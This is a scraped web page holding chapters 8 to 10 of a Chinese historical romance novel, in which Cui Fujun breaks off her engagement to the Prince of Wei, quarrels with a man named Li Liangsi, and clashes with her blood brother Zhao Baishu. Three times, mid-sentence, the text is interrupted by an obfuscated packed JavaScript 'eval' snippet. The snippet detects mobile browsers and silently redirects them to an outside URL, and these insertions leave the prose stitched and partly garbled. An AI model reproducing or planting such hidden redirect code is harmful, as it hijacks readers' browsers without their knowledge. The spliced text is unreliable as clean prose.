;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169083|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,崔昭湜好心提醒:“丹君性子野,急了会挠人,你当心些。” 崔弗君听到了,继续逗豹猫。 如此反复,崔弗君是高兴了,可猫儿被调戏好几次,失去耐心,喉间低呜一声,前爪一扑,尖锐的猫爪刮过崔弗君的手背。 崔弗君猝不及防,疼得皱眉,手背上出现一条长长的白痕,她气得挥手,而豹猫有所预料,早就机敏退到后头,冷眸摆脸。 果真是个有脾气的小畜生。 崔弗君想教训小畜生,可念及是崔昭湜的猫儿,她又不得不咽下火气。 “刮到了你?”崔昭湜出声。 崔弗君:“是,阿兄,你该给它修剪爪子了。” “伤到何处了?” 崔弗君把鱼干放下,抬起自己的左手,雪白细腻的手背上有一道明晃晃的白痕。 “虽然没破皮出血,但是疼。”崔弗君没好气道。 崔昭湜煮了一碗淡盐水,将帕子放置在温热的盐水中,道:“把手拿过来。” “不用,阿兄我自己来就好。” “无妨。”崔昭湜轻声道,“毕竟是丹君刮伤了你。” 崔弗君没有再推辞,心中挣扎半晌,末了还是想和崔昭湜拉近关系占据上风。 她道:“那就麻烦阿兄帮我清理上药了。” 崔弗君缓缓将左手伸过去,崔昭湜握住她纤细柔软的四指,尽管在温暖的书房,崔昭湜的手却是微微凉的,肌肤相贴,崔弗君压下那股不适感,指尖蜷缩。 崔昭湜微微凑近,用吸饱盐水的巾帕擦拭她手背上的白痕,动作温柔轻细,接着又用干燥的巾帕擦拭水珠,从身侧暗柜里取出一个玉瓷碗,崔弗君瞧见了,意外地挑了下眉头。 这个暗柜她记得,是小时候她用来藏蜜饯的地方。 崔昭湜有怪疾,不是什么关于身死的病,是一种罕见的病,失语,全身抽搐,甚至如疯子一般自残,就连医师也诊断不出病因,只能靠吃药来调理,以此减少发病。 药很苦,崔弗君就偷偷把蜜饯藏在柜子里,让崔昭湜喝药后吃蜜饯过苦味。 崔昭湜从玉瓷碗中挖出豆大的药膏,均匀地抹在崔弗君的手背上,再用干净的绫罗布包扎。 “谢谢阿兄。” “下回莫要再逗丹君了。” 崔弗君抿了下唇,乖乖点头,崔昭湜收拾桌面,重新给崔弗君煎茶,这时,崔弗君开口:“阿兄,我还记得这个暗柜,过去我经常在里面放蜜饯。” “是啊。” “阿兄。” “你如今还要吃药吗?” 崔昭湜摇首。 崔弗君惊讶,随即一喜:“阿兄的病痊愈了?” 崔昭湜:“好了。” “那真是太好了。” 崔昭湜看了崔弗君一眼。 “茶好了。”崔昭湜将放了胡椒的茶递给崔弗君,崔弗君接过,瞥见那叫丹君的豹猫又跑过来,卧在榻下。 崔弗君吃了一口茶,眼珠转动:“阿兄,你得给我做主,我的手背疼得厉害。” “妹妹说得是,丹君犯了错自当要罚。”崔昭湜唤人进来,将猫儿提下去,罚猫禁食一日。 “妹妹可满意了?”崔昭湜看向崔弗君。 崔弗君眼角止不住上翘,娇俏又灵动,忍笑须臾还是笑了:“阿兄不会觉得我很小气吧,还要和一个猫儿置气?” “怎会?是丹君伤你在先。” 崔弗君没那么注意仪态了,身体松弛,支着下巴,眼眸明亮,不禁说:“阿兄,你真好。” 崔昭湜笑笑:“妹妹记得就好。” “阿兄,真的很感谢你,若非阿兄相助,我此事也不知去何处了,阿兄的恩情我无以回报......”顿了顿,崔弗君自告奋勇道,“我也不知道能为阿兄做什么,既然阿兄喜欢读书,那我便给阿兄念念诗歌吧。” 寒天冻地,朔风凛冽,寂静的书房里响起女郎清脆朗润的念诗声。 从崔昭湜院中出来,崔弗君喉咙都有些哑了,半夏注意到崔弗君的手,担忧道:“娘子,您的手怎么了?” “被猫抓了一下。” 半夏反应很大:“那可不是小事。” 崔弗君诧异,知道半夏是在担心自己,心口又一暖,她摇摇头说:“没有刮伤,而且也上药包扎了。” “疼不疼?” “现在不疼了,不要操心了。” 半夏点头,又道:“娘子,魏王殿下派人来说明日春风楼请娘子一聚。” 8. 第 8 章 崔弗君很烦,她根本就不想见魏王,对他可谓是咬牙切齿,上回她都断发明志,可魏王依旧纠缠不休,最后一回了。 另方面,崔弗君也不愿出门,如今她的事定是传遍大街小巷了,她不想听人对她评头论足,更不想自己成为旁人嘴里的笑话。 可是她安能龟缩在府中一辈子? 逃避不是崔弗君的性子。 是日,崔弗君出府,用帷帽遮挡住面容,崔弗君很低调,没有骑马,而是坐马车。 春风楼是东市数一数二的大酒楼,地处东市十字街口,位置显赫,五层阁楼拔地而起,巍峨壮丽,青瓦飞檐,丹楹玉砌,装潢精致繁华,以美酒佳肴闻名长安,招待的客人多为世家高官等。 往日崔弗君最喜欢来春风楼,一来此地酒食合崔弗君口味,二来此酒楼是卢氏母家的产业。 因和魏王有婚约,故而两人相会俱是在春风楼三楼的雅间,如今崔弗君身边有变,自是不可能去魏王定的雅间了,以免落人口实,她到一楼大堂的角落,一侧是青墙,一侧竖立屏风遮挡,恰到好处的封闭性。 崔弗君吩咐半夏去三楼雅间喊魏王下来,随即叫侍童上些酒菜,“小郎,来壶剑南烧春。” 嗓音娇俏清亮,如珠玉落盘,徐徐闯入隔壁一间人的耳朵里。 崔弗君是春风楼常客,侍童听着声线有些眼熟,又是个穿红衣的娘子,在春风楼也只有一个娘子会点这种劲酒。 压下狐疑,侍童提了一壶剑南烧春来,此时里头的崔弗君已然放下了帷帽,露出那张张扬娇媚的面庞来。 崔弗君额头的青红差不多消弭了,加之她敷了粉,叫人看不出她额头一丝的红。 侍童微惊。 崔弗君道:“好看么?” 侍童下意识点头,尔后红了脸庞,丢下一句“娘子慢用,若有吩咐尽管使唤”便告退了。 然后温恭有礼的侍童便绊了一脚,险些摔倒。 崔弗君扬眉。 从前她享受旁人对她的仰视和倾慕,鄙夷那些出身平庸的人注视她,在她看来这是以下犯上,是冒犯她,她会不快,但从他们身上获取的得意抵消了这抹不快,崔弗君宽恕了那些愚昧无知的人。 现在她心中少了那不知天高地厚的鄙夷。 你瞧,纵然她并非崔家嫡女了,可依旧有人在仰视她。 崔弗君心情愉悦,吃了一杯酒,酒温暖了她冰冷的身体,吃第二杯酒的功夫,魏王来了。 “五娘。”魏王道。 崔弗君开门见山,冷脸道:“上回我已表态,可殿下那番说辞,且信誓旦旦,结果呢?要我陪嫁?殿下当知我的性子,姑父也已回绝,既如此,殿下为何还有脸要见我?” 崔弗君言辞犀利。 魏王愧疚:“那绝非我的本意,我只认定你一人,五娘,你再给我一些时间。” 只认定她一个?给他时间?崔弗君听得心里作呕,她当初真是瞎了眼才会看上魏王这种满口谎言的男人! 崔弗君痛恨自己的眼光,恨不得自戳双目。 崔弗君忍住鄙夷,直视魏王的眼睛,冷冷道:“殿下素来仁孝,当真会为了我忤逆娘娘?” 四目相对,魏王沉默了,他不是没有争取过,然惠妃并不同意,娶一个假的崔氏嫡女,身份低微,于他有何益处? 惠妃让魏王和崔氏女成亲,是为笼络崔氏,且以魏王的恩宠和身份,也只有崔氏女才配得上他。 魏王当然知道没用,也明白崔弗君配不上他了,可他钟意崔弗君,实在割舍不掉自己的前未婚妻。 他想要美人。 如今的崔弗君从云端跌落,纵然还在崔家,面上是崔家的远房表姑娘,可她已经不在高不可攀,成了长安人人都可以随意采摘的娇花。 他焉能放手,将美人拱手让人? 魏王做不到。 “殿下的美意我心领,但我心意已决,我今日之所以赴约,是为告诉殿下,你我再无婚约,我对殿下也再无丁点男女之情了,从今以后我们桥归桥,路归路。” 听言,魏王愣在原地,不可置信。 崔弗君将最后一点酒吃下,撂下酒碗,拿上帷帽便要起身离去,蓦然手被攥住。 崔弗君皱眉:“殿下,自重。” 魏王以为自己听错了,“弗君,你在说笑吗?” 崔弗君歪头,正色道:“殿下以为我在说笑吗?我崔弗君何必以此来诓骗殿下?” “本王不信。” 崔弗君嫌弃得不行,她碰都不想碰魏王了,用力甩手,没甩开:“殿下,我是喜欢过你,但那是从前了,放手,殿下。” 魏王没放。 崔弗君见状忍无可忍,反手扣住魏王手腕,以巧劲掰扯,腕子成功抽离。 崔弗君一边揉腕骨,一边后退说:“我崔弗君就是死也不会喜欢一个有主的男人,殿下,我话已经说得非常明白,你若再纠缠,怕是不符合你的身份了。” 魏王面色白了,端详崔弗君的神色,心下骤慌。 “弗君。” 魏王呼唤,伸手意欲挽留。 崔弗君开口:“对了,提醒殿下一句。” 她张望四周不知何时静下来的大堂,仰头,对上楼梯间以及楼上站在看台上围观的客人,她冷冷扫过看客们,姿态从容,完全没有落魄和困窘,仿佛还是那个高高在上的贵女。 崔弗君戴上帷帽,低声道:“我们之间的谈话这大堂里头来往的宾客怕是都听到了。” 她是在提醒魏王,但凡他敢纠缠,那这件事定会传到皇宫里去,堂堂魏王竟对崔弗君穷追不舍,像什么话? 涉及皇室颜面,对魏王可没什么好处。 魏王的手滞留一瞬,立刻收回,继而循着崔弗君的视线看去,脸黑了,目光愠怒警告,看客们立刻转了身。 不过崔弗君的目的已然达成,所有人俱听到看到她崔弗君对魏王情断,而魏王却对她仍有留恋,为此放下身段挽留,体面都不要了。 崔弗君出了一口恶气,绕开屏风,挺直身板离开包间。 魏王注视崔弗君的背影,半晌反应过来,勃然大怒。 他被崔弗君算计了。 她让他下来就是赤裸裸的阳谋,只他当时一心要挽留崔弗君,以至于忽略了。 魏王握紧拳头,他为她不惜和母妃反着来,发誓明志,可崔弗君就那么狠心无情,要所有人都知道他们毫无关系了,硬生生把路全部堵死。 他做错了什么? 莫名其妙,不识好歹。 魏王扶额,气得想笑,可又有些笑不出来,胸口闷涩,又空落落的,好像有什么重要的东西从他掌心丢走,再也找不回来了。 下一刻,魏王收敛所有情绪,高傲冷笑。 不过一个女子,她既决心斩断和他的过去,那他又何必再留恋? 他李玄敏绝非胡搅蛮缠之辈,也不当捧崔弗君脚的哈巴狗儿。 同是高傲之人,魏王了解崔弗君,不是会将就委屈的人,他倒要看看她拒了他,以她现在的身份地位还能找到怎样一个夫婿? 思及此,魏王的脸色不太好看,一股无名的火气涌上来。 “哐当”一声响,桌上的空酒碗被魏王迁怒,被掷在屏风上,结果酒碗反弹,竟是弹到魏王额头后才落下摔碎。 顷刻间,魏王额角被磕出了口子,血流下来。 里头的动静惹得出包间的崔弗君停步,她回眸,目光掠过屏风,最后落在包间隔壁的位置。 适才她一出来,便感觉有无数道视线落在她身上。 帷帽遮住了她的面孔,可适才她已自报家门,只要听到了的都晓得她的身份。 目光肆无忌惮,有好奇,有打量,有戏谑,有讥讽,有幸灾乐祸,有不加掩饰的垂涎......它们像是一座大山,沉甸甸朝崔弗君压来,又如同一张密不透风的渔网,将崔弗君整个人包围,让她透不过气来。 这种场面崔弗君有所预料,她自尊自傲,不是没有过惶恐和不安,但此刻她真正面对上这些,她忽然觉得其实没有臆想中的可怕。 挥走阴霾般的窘迫、羞耻以及屈辱,顶着所有的视线,崔弗君抬头挺胸,唇角带笑,神采奕奕,闲庭信步,好整以暇。 在这些打量的视线里,有一道自后背而来的目光最为直接,犹如实质,崔弗君本来不想搭理,可魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169084|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王弄出的动静给了她回眸的理由。 这一回眸,她便看到了隔壁不知何时从包间里出来的两个男子。 一人着石青色的圆领袍,清贵端方,面相隽逸,约莫弱冠年岁,见崔弗君看来,他行叉手礼,目光微垂,并未直视崔弗君,彬彬有礼。 另一个则穿玄色缺胯袍,腰束蹀躞带,剑眉星目,英气逼人,彼时曲臂搭在着石青色袍衣的男子的肩膀上,身倾歪头,凤目斜飞,直勾勾打量崔弗君,没个正形儿,说不出的露骨轻佻,好像不知道礼数两个字怎么写的。 须臾他露出笑容,笑随性疏朗,又带两分淡淡的邪气。 崔弗君不认识这两个人,她给那着石青色的男子回了礼,然后挑开纱幔,剜了那穿玄袍的男子一眼。 不知是哪家的纨绔浪荡子。 那男子挑眉,不以为然,甚而挑衅一笑。 崔弗君没有多加搭理,转身离开。 倘若是从前,有人敢这般明目张胆冒犯她,她二话不说就是一鞭子甩过去。 算他命好。 她的鞭子被崔相没收了。 崔弗君轻轻哼了一声,嘀咕道:“欠收拾的登徒子,真是皮痒了。” 谁知崔弗君刚出春风楼,就听到有人道:“娘子留步。” 散漫轻佻的声线,令人不喜。 崔弗君装作听不到。 你说留步就留步?她偏不。 “娘子。”后头的脚步加快了。 “在下的马娘子还没还给在下呢。” 崔弗君止步转身,面前站定的人正是那穿玄色缺胯袍的男子。 崔弗君压根不记得他,不耐烦道:“什么马?我根本就没见过郎君。” 他道:“娘子贵人多忘事,前些时候在下路过娘子家门口,刚巧碰到娘子出来,娘子雷厉风行借了在下一匹马就跑了,娘子是走方便了,在下却是徒步回的家。” 他特意强调了“借”字,意味深长。 当时崔弗君匆忙,来不及去马厩骑马,是以几乎是蛮横地把马给抢过来骑走了。 崔弗君想起来了,她再定睛打量他,有点眼熟。 “什么颜色的马?” “红褐色,那可是在下的爱马,娘子当时说会还,可在下等了数日也不见爱马的踪影。” 此事崔弗君理亏,脸色稍微好了些:“此事是我疏忽了,我现在便要回府,郎君可随我回府牵马。” “在下没空,只能劳烦娘子亲自将马送到在下府上了。” 崔弗君:“郎君家住何处?” 那人诧异,随后道:“宣阳坊西门之南最里头的宅院。” 宣阳坊里住的多是皇亲国戚,达官显贵,但此人着实面生,崔弗君没见过。 “敢问郎君名讳?” “在下姓李。” 崔弗君点头:“李郎君安心,我会将马还回去。” “有劳娘子咯。” 崔弗君要走,姓李的叫住她。 “对了,娘子稍等。”那姓李的男子回头,将与他不太情愿的同伴拉到崔弗君面前,非常热切道,“这位是在下友人,姓杜,名瑜。” 崔弗君从两人衣着判断,此二人定出身名门,不,这位叫杜瑜的定是出身名门,腰间佩戴的玉珏刻有水纹,约莫是京兆杜氏的子弟,而那姓李的,崔弗君暂时不得其身份。 崔家和杜家素来没什么交集,崔弗君不认识正常。 杜瑜被好友拉到崔弗君跟前,局促不已,稳住心神,他淡然行礼道:“京兆杜氏杜瑜,崔五娘子安好。” 崔弗君欠身行礼:“杜郎君安好,幸会。” 姓李的道:“甚好甚好。” “崔五娘子,说来你和在下之间也是有缘分,择日不如撞日,娘子不如一道把借马的恩情还了呗,请我吃酒。” 崔弗君:“李郎君,我须得回府,下回吧。” 虽说崔弗君看这姓李的不顺眼,想抽他两鞭子,但她的确借了人家的马,她是个讲道理的,欠了人情得认,也得还。 姓李的摸摸下巴,理直气壮道:“可是我马上要走了,也不知猴年马月再回来,也就吃不上娘子请的美酒了。” 9. 第 9 章 酒肆之内,杜瑜恍惚了一瞬才坐下,而姓李的大马金刀坐下,毫不客气高喝道:“小二,来一斗绿蚁酒!再上些羊肉,多来些你们酒肆最好最贵的下酒菜。” 小二先将沉甸甸的一斗绿蚁酒端上来,另摆上三个酒碗。 “再准备半斗,用葫芦给我装好,我要带走,酒钱你管这位娘子要。” 小二点头。 姓李的摆明是要宰人,不过崔弗君不介意,这点酒钱她自然付得起的,不等崔弗君吩咐,半夏提前将酒钱付好。 崔弗君环顾四周,这酒肆是姓李的要来的,不比春风楼那等奢华雅致的酒楼,这间酒肆不算大,胜在风格独特,极有异域风情。 丝竹声起,几个美貌的胡姬款款至中央高台的毡毯上跳胡旋舞,舞姿蹁跹,更有为客人斟酒的女侍胡姬,环肥燕瘦,婀娜多姿。 面对好友的举止,杜瑜赔礼道:“崔五娘子见谅。” 崔弗君:“不妨事,的确是我欠了李郎君的人情。” “听到了么?杜二,人家小娘子都说欠我人情了,我多点些酒食那也是顾念崔五娘子的面子,若是我只点了一两样,那传出去不得说崔五娘子小气吗?” 言之凿凿说罢,姓李的便倒了一碗绿蚁酒一饮而尽:“好酒!果然还是钟爱绿蚁酒。” 崔弗君面不改色,权当听不到。 “来,杜二,你也试试这酒,不比那些名酒差。”姓李的给杜瑜倒了一碗,接着又倒一碗给崔弗君,“适才在隔壁听娘子要剑南烧春,在下想来娘子定是个同道中人,也试试这绿蚁酒,娘子应当没吃过吧?” 崔弗君打量酒碗中没经过精细过滤的浑浊浊酒,她的确没吃过这种平民百姓才会吃的酒,她从来只吃名贵的清酒抑或是果酒珍酿。 她不沾此等劣酒,可见对面的杜瑜毫不嫌弃吃下,崔弗君蹙了下眉头,压下嫌弃,约莫是身份变了,崔弗君对曾经看也不看一眼的东西的接受度变高了,或许也不是不能试一试这绿蚁酒。 于是她端起碗缓缓呷了一小口,米香浓郁,口感清甜,味道没想象中那么差劲。 对面的杜瑜和姓李的见状,目中皆是诧异,两人面面相觑,随即错开视线。 下酒菜上来了,摆了满满一桌。 姓李的喝了一口羊肉汤,欣赏中央的歌舞,由衷称赞道:“这胡姬的腿倒是不错。” 外头寒风呼啸,酒肆里却热得很,跳舞的胡姬衣着轻薄,两条腿若隐若现。 此言一出,杜瑜咳嗽两声,意欲提醒此刻崔弗君在,他当着崔弗君的面儿点评胡姬身段委实有失礼数,轻浮冒昧。 崔弗君头一回见这般直白轻浮的人,平素那些纨绔浪荡子弟好歹明面上会装一装,而此人真是口无遮拦,言行粗俗。 借马是一回事,讨厌又是一回事。 姓李的似乎没听到杜瑜的提醒,一本正经摇摇头,失望道:“要是再长点,再白一些就完美了。” “李二。”杜瑜开口,“慎言。” “慎什么言啊,我说的都实话。”姓李的理直气壮又无辜道。 杜瑜低吁一口气,惭愧道:“崔五娘子见谅。” 崔弗君说:“李郎君真是性情中人。” 闻得夸奖之言,姓李的意外挑眉。 崔弗君下一句:“杜郎君你当真和这位李郎君是友人?” “自然是。” 崔弗君:“我以为像杜郎君这般谦谦君子的人结交的友人当是志同道合的,没想到是个如此轻浮粗俗的人。” 姓李的反应过来,敢情崔弗君原先不是在夸奖自己,而是在讽刺自己啊,他好笑,这崔五娘子果真如传闻一般,即便落魄,依旧锋利不好惹。 杜瑜要为友人辩解,姓李的拦住,挑眉好奇道:“崔五娘子,有件事在下十分好奇。” “方才和你一道在包间的人是魏王殿下吧,就连我这个不在长安城的人都知道魏王即将和博陵崔氏二房的嫡女成婚,谁人不说一句天定良缘,可是谁知道崔家竟出了那种惊世骇俗的事,崔五娘子一朝成了崔家的表姑娘,这身份地位的落差感想必对娘子影响很大吧,大到有了自知之明,自知配不上魏王主动斩断情缘。” “着实是好魄力啊,在下佩服。” 这是自崔弗君落难之后第一次面对旁人的嘲讽,她被说得脸色涨红,攥紧手心,默了默,到底是忍不住火气,隔着帷帽狠狠瞪了姓李的一眼。 姓李的一笑,满满的挑衅。 突然的,崔弗君堆积在心里的毒火和憋闷顷刻涌出来。 是,她的确不再是崔家的金枝玉叶了,她就是个农妇的女儿,出身低贱平庸,她必须得认! 可是这并不代表什么阿猫阿狗都可以过来踩她一脚,她崔弗君从来不是好欺负的,不论是不是崔家的嫡女。 有的事可以忍,可有的事她忍不了。 崔弗君微微红了眼,二话不说就端起酒碗,把绿蚁酒一把浇在姓李的脸上。 事出突然,杜瑜和姓李的都没反应过来,愣了一瞬,姓李的抹了一把冰凉的脸,面色当即冷了下来,崔弗君接收到他的怒火,没有半分胆怯,反而扬起下巴,心下得半分痛快。 已经算便宜他了。 杜瑜拉住了动气的友人,讲理道:“是你先犯错。” 姓李的注视戴着帷帽的崔弗君,因她扬起下巴,垂落的纱幔上滑,将女郎藏在帷帽后的下颌暴露出来。 雪白细腻,如美玉一般。 紧接着从雪白的帷帽之下溢出一声挑衅讥讽的嗤笑,像是在对他说“活该”。 他深吸一口气,咽下喉间话语,半晌啧了一声,接过杜瑜的帕子擦拭脸,满手的米香。 “好男不和女斗。” 崔弗君心里不屑地呸了一下。 姓李的又说:“崔五娘子如此泼辣,当心嫁不出去。” “与你何干?”崔弗君不以为意,刺过去。 “不听好人言吃亏在眼前,娘子若想日后嫁给好人家,还是收收脾气吧。” 崔弗君懒得搭理他了,两人再没有说话,杜瑜替友人给崔弗君道歉,被友人阻止,即便如此,杜瑜还是道歉了,姓李的恨铁不成钢,吃了两口酒,又给杜瑜倒酒。 “明天我就要和我家老翁回陇右了,杜二保重,争取拿个什么状......第一名回来,来,干了这杯酒。” 杜瑜接过酒,和友人干杯。 崔弗君竖起耳朵聆听,陇右,第一名......她忖度,适时道:“杜郎君也要参加下月的科考?” 杜瑜:“是。” 崔弗君眼睛一亮:“巧了,我阿兄也是,今日既与杜郎君相识,那我也祝杜郎君一举登科,平步青云。” 杜瑜受宠若惊,崔弗君对他态度截然不同,出奇的和颜悦色,平易近人。 杜瑜垂下眼眸,遮住眸中沉沉思绪:“某谢过娘子美意。” “啧。”旁边的姓李的见崔弗君对杜瑜态度诡异的友好,发出一声哂笑,“娘子想作甚?不会看上杜二了吧?” 杜瑜听言,耳根发红,斥责道:“李二,你休要胡言。” 虽然姓李的说的话与崔弗君的算盘有偏差,但的确也说中了一些点上,崔弗君心虚,好在有帷帽遮掩,她没露出破绽。 她以前风风火火、直来直去惯了,如今初初打起小算盘是大熟练的,举止显得刻意了。 崔弗君道:“杜郎君,我与这位姓李的着实合不来,你可否请他闭嘴?” “什么叫姓李的?在下有名有姓,娘子适才还不是叫在下李郎君吗?” 崔弗君:“我想怎么叫就怎么叫,你管不着。” “酒我请了,马我也会送过来,人情还了,姓李的。”说罢,崔弗君起身,半夏重新给崔弗君披上狐裘。 “杜郎君,我该告辞了。” 杜瑜顿了顿,起身道:“娘子慢走。” 崔弗君笑了笑,银铃般的笑声荡进杜瑜的耳中。 崔弗君和半夏离去,背后响起一道声音:“我有名有姓,行不更名坐不改姓,李良嗣是也,李良嗣的‘李’,善良的‘良’......” 后续的话崔弗君不听了。 善良的‘良’? 脸皮真厚,真给自己脸上贴金呢,善良的‘良’?他一轻浮放浪之辈身上有善良的品质吗? 好笑至极。 崔弗君觉得他就不该叫什么良嗣,应该改‘良’为‘浪’,叫李浪嗣。 什么玩意,浪死得了。 . 目送崔弗君离去,李良嗣没好气道:“杜二,你什么意思?我刁难她可是为你出气,你不会对崔五娘子还余情未了罢?” 杜瑜淡淡道:“你多虑了。” 袖下,杜瑜的手指依旧在微微发抖。 李良嗣定定打量杜瑜,吃了一口酒道:“瞧那崔五娘子的样子好像不认得你。” 杜瑜:“嗯。” “记住我的话,天涯何处无芳草,以你的身份地位何愁找不着一个与你般配的女子。” 杜瑜缓缓点头,默了默,喃喃道:“她真的变了。” “谁经历那种事不会变?不过我瞅着也没怎么变,伶牙俐齿,不好惹哦。”李良嗣撩过自己沾湿的额发。 杜瑜垂眸:“从前的崔五娘目下无尘,肆意高傲,不会平易近人与人说话,永远斜目视人,方才你说那种话,于她而言便是羞辱,若是过去,那就不是泼酒,而是一记鞭子甩在你头上了。” “她能打到我,我李良嗣的名字倒过来念。” “好了,不说这个了,来吃酒,明日我一走,若无意外,起码得明年才能和你再吃酒相聚了。” 杜瑜举起酒碗:“珍重。” 两人相视一笑,李良嗣想起什么,道:“对了,杜二,春风楼的酒钱可记你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当时赵家父子带崔静姝上门,崔弗君未曾出面,是以赵百树当不认得她。 可崔弗君从他的眼神里读出来一条讯息,赵百树知道她是谁。 见到亲妹妹,赵百树没有上去相认的打算,冷漠地收回视线离开,而崔弗君也没有要认哥哥的打算,静静注视赵百树走远。 崔弗君发现,这个冷天气,赵百树穿得很是单薄,他瞧着高大,可实际很瘦,轮廓清癯,面色粗糙有些蜡黄,像是吃不饱所致。 还是他那双眼睛,炯炯有神,衔着一抹生人勿近的凶狠戾气,给人的感觉是不好招惹的狠角色。 上回崔弗君见赵百树,目及他那寒酸的衣着,便嫌恶得不行,没再看一眼,这回崔弗君用正眼瞧了自己陌生至极的胞兄。 他的眼神......好像在哪里见过。 崔弗君记不起来了。 罢了,该回去了。 看样子赵百树不打算认她这个胞妹,漠不关心,正好她也有此意,想来他定是不会来叨扰她的,也算识相。 至于赵百树对崔静姝的态度,崔弗君毫不在乎。 崔弗君打算打道回府时,不成想赵百树竟然折返回来,手里死死攥住一袋鼓起来的荷包,他没说话,就是盯着崔弗君。 崔弗君率先打破沉默:“要我帮你还钱?” 赵百树转身就走。 崔弗君道:“这笔钱是崔静姝用来断绝你和她之间的旧日情分,她既然如此狠心,你何必还对她有所留恋?她可是不认你这个当哥哥的了。” “所以这钱你就收着,好好给自己置办几件冬衣鞋履不好么?” 话音方落,赵百树突然转身,面无表情朝崔弗君而来。 崔弗君反应过来,用手肘抵挡住赵百树的进攻,她瞬间冷了脸色:“诚心提醒你两句而已,你倒是还不乐意上了,想掐我?” “闭上你的嘴巴。”赵百树死死扣住崔弗君的手腕。 半夏怒声,去扯赵百树的手臂:“放肆,放开我家娘子!” 崔弗君:“狗咬吕洞宾,不识好人心。” 赵百树横眉。 崔弗君懒得和赵百树废话,火气也上来了,提起腿就是一脚踹过去,正中他的膝盖,赵百树皱眉,徒然放开了手。 “娘子,您没事吧?”半夏关心道。 “无碍。”崔弗君转动手腕,“半夏,我们回去。” “喏。” 回府前,崔弗君犹不解气,路过赵百树时嘲讽道:“瞧瞧你这寒酸样子,难怪崔静姝不认你了,人家现在可是有了自己嫡亲的兄长,比你好千倍万倍。” 此句诛心。 赵百树面色冷沉。 崔弗君高兴了,步子轻盈。 上了马车,半夏检查崔弗君的手腕,都红了。 崔弗君倒是不以为然。 回府之后,崔弗君去找崔昭湜,当初那匹马是被崔昭湜的护卫牵的。 10. 第 10 章 这回进崔昭湜院子,门房小厮见是崔弗君忙不迭开门,崔弗君畅通无阻入得院落,她不用想知晓崔昭湜此时定在书房。 临近科考,崔相嘱咐阖府上下的人不得去叨扰崔昭湜备考,是以崔昭湜的院子是崔府最为安静的地方。 然崔弗君视若无睹。 “阿兄。”崔弗君推门而入,便见崔昭湜正在阅书,她顺势坐在崔昭湜对面,将手里的食盒放在案上。 “阿兄,这是我特意给你买的羊肉毕罗,东市徐记的。” 崔昭湜抬眸:“妹妹出去了?” “嗯。” “阿兄,有件事我想拜托你一下,上回我来找你来得匆忙,骑的马是我借的,需要还回去,可否麻烦阿兄让你的护卫带我的侍婢去还?” 半夏是她的侍婢,她去便是崔弗君去。 崔昭湜语气平淡:“可。” “半夏知道地址,麻烦阿兄了。” “无妨。”崔昭湜招来护卫,嘱咐人去牵马。 崔弗君道:“马的主人叫李良嗣,非长安人士,阿兄,你认识他吗?” “妹妹不认识?” 崔弗君:“没印象,那天我出府见到他牵着马,就直接借过来走了,连人都没看清,若非在春风楼遇到,我都忘记这一桩事了。” 崔昭湜:“天底下姓李的可不少,妹妹好奇?” “阿兄误会,我可不好奇,纯是因为不喜,此人和京兆杜氏的杜二杜瑜是好友,好像来自陇右,明日便要离开长安。” 崔昭湜搁下书,细细思量:“应当是陇右节度使的次子。” 陇右节度使,因镇守边疆战功赫赫被圣人赐国姓“李”。 “原来是武夫,难怪说话难听,粗鄙无文。” 崔昭湜:“他欺负妹妹了?” 崔弗君不屑道:“怎么可能?不说他了,阿兄快试试毕罗,我特意给阿兄买的。” “好。”崔昭湜打开食盒,拿出油纸包裹的羊肉馅毕罗,又道,“妹妹出去作甚?” 崔弗君郁闷道:“魏王寻我。” “他可真烦,明明我已经断发明志,他还欲意纠缠,经过这回,他若是要脸便不会再来烦我了。” 崔昭湜道:“日后莫要和他再见了。” 崔弗君冷漠道:“自然不会了。” 打量崔弗君冷漠无情的样子,崔昭湜瞳中闪过一丝极淡情绪,末了归为平静温润。 据他所知,当初为和魏王订婚,崔弗君没少闹,可见崔弗君对魏王的心意,两人可谓是两情相悦,但现在崔弗君说断就断,毫无留恋。 妹妹当真一点没变。 “阿兄,我想吃茶。” “那要等等。” “我自己来,阿兄吃毕罗就好。” 崔弗君开始煮茶,为方便她稍微挽起窄袖,崔昭湜不经意一瞥,瞧见皓腕上一点红,煞是醒目。 “妹妹手腕怎么了?”崔昭湜问。 崔弗君犹豫片刻,道:“遇到了赵家人,崔静姝的兄长。” 她补充:“我买毕罗回来路上撞见崔静姝和那个赵百树。” 崔昭湜提醒道:“妹妹,他也是你的兄长。” “我才没有那种兄长,就提醒他两句,结果他却生气对我动粗,实在无礼,诚然我与他是血缘上的兄妹,可感情上我和他不过陌生人,他心里只把崔静姝当成他的妹妹。”崔弗君哼了一声。 “但你们到底是血缘至亲,眼下不熟悉正常,日后多相处便好了,兄妹之间会本能亲近,且据我所知,那位赵兄是个称职的兄长。” 此话对崔弗君而言很不中听,她不太高兴,崔昭湜不与她同仇敌忾就算了,还说起伤害她的赵百树的好话。 崔弗君吸了一口气,平复情绪。 